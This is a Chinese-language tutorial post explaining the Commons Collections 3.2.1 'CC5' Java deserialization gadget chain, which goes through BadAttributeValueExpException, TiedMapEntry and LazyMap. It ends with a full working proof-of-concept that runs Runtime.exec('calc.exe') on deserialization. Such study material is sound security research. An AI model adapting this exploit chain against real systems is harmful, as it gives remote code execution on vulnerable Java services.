赞
踩
目录
前文:【Web】Java反序列化之CC6--HashMap版
CC5之前就简单看了下,没专门水文章跟,补票
版本还是commons-collections 3.2.1
CC5的链和CC6差不多,区别在入口不同,以及前者调用 LazyMap.get()用的是 TiedMapEntry.toString(),后者用的是TiedMapEntry.hashCode()
(虽然本质都是调用getValue)
- /*
- Gadget chain:
- ObjectInputStream.readObject()
- BadAttributeValueExpException.readObject()
- TiedMapEntry.toString()
- LazyMap.get()
- ChainedTransformer.transform()
- ConstantTransformer.transform()
- InvokerTransformer.transform()
- Method.invoke()
- Class.getMethod()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.getRuntime()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.exec()
- */

先看BadAttributeValueExpException构造方法
- public BadAttributeValueExpException (Object val) {
- this.val = val == null ? null : val.toString();
- }
该构造函数的作用是将传入的 val
参数转换为字符串,并将结果赋值给 this.val
成员变量。这样做是为了在创建 BadAttributeValueExpException
对象时,确保 this.val
始终是一个字符串值。
再来看BadAttributeValueExpException#readObject
- private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
- ObjectInputStream.GetField gf = ois.readFields();
- Object valObj = gf.get("val", null);
-
- if (valObj == null) {
- val = null;
- } else if (valObj instanceof String) {
- val= valObj;
- } else if (System.getSecurityManager() == null
- || valObj instanceof Long
- || valObj instanceof Integer
- || valObj instanceof Float
- || valObj instanceof Double
- || valObj instanceof Byte
- || valObj instanceof Short
- || valObj instanceof Boolean) {
- val = valObj.toString();
- } else { // the serialized object is from a version without JDK-8019292 fix
- val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
- }
- }

通过 gf.get("val", null)
方法获取名为 "val" 的字段对应的值,赋给 valObj,如果其不为String,则强行调用toString,而正如最开始所说我们的漏洞利用点是在
反序列化时由toString触发的。
要在反序列化的过程中调用val.toString,我们便要让val的类型其不为一个String,这是极简单的,但如果序列化构造时是走构造方法传val,那就会进行一个强制类型转换,自然反序列化的时候也就无法触发toString了。说这么啰嗦,我只想表达一个意思,就是val只能由反射去设置类的字段值,而不能由构造方法传入。
关注其toString方法,会调用getValue方法
- public String toString() {
- return this.getKey() + "=" + this.getValue();
- }
下面就是和CC6的LazyMap相关调用完全一样了,过于经典,不作赘述。
- package com.CC5;
-
- import org.apache.commons.collections.Transformer;
- import org.apache.commons.collections.functors.ChainedTransformer;
- import org.apache.commons.collections.functors.InvokerTransformer;
- import org.apache.commons.collections.keyvalue.TiedMapEntry;
- import org.apache.commons.collections.map.LazyMap;
- import javax.management.BadAttributeValueExpException;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.HashMap;
-
- public class CC5 {
- public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
-
- Transformer transformer=new ChainedTransformer(new Transformer[]{
- new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
- new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
- new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
- });
-
- LazyMap lazyMap= (LazyMap) LazyMap.decorate(new HashMap(),transformer);
- TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, Runtime.class);
- BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
- setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
-
- //序列化
- ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
- ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
- objectOutputStream.writeObject(badAttributeValueExpException);
- byteArrayOutputStream.flush();
- byte[] bytes = byteArrayOutputStream.toByteArray();
-
- //反序列化
- ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
- ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
- objectInputStream.readObject();
- }
- public static void setFieldValue(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
- Field field1 = obj.getClass().getDeclaredField(field);
- field1.setAccessible(true);
- field1.set(obj,value);
- }
- }

Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。